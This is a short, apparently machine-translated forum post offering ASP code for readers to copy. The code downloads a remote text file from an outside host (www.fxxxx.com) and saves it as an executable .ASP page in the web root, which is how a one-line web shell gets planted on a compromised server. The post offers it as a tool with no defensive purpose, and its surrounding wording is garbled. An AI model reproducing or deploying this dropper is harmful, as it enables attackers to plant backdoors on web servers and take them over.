Download one sentence code through xmlhttp in asp. Friends who need it can refer to it and share it.
Godlong learned in 3est activities
Copy the code code as follows:
<%
Set xPost = createObject(Microsoft.XMLHTTP)
xPost.Open GET,http://www.fxxxx.com/1.txt,0 'Download file address
xPost.Send()
Set sGet = createObject(ADODB.Stream)
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile E:/WWWROOT/fuck1.ASP,2
%>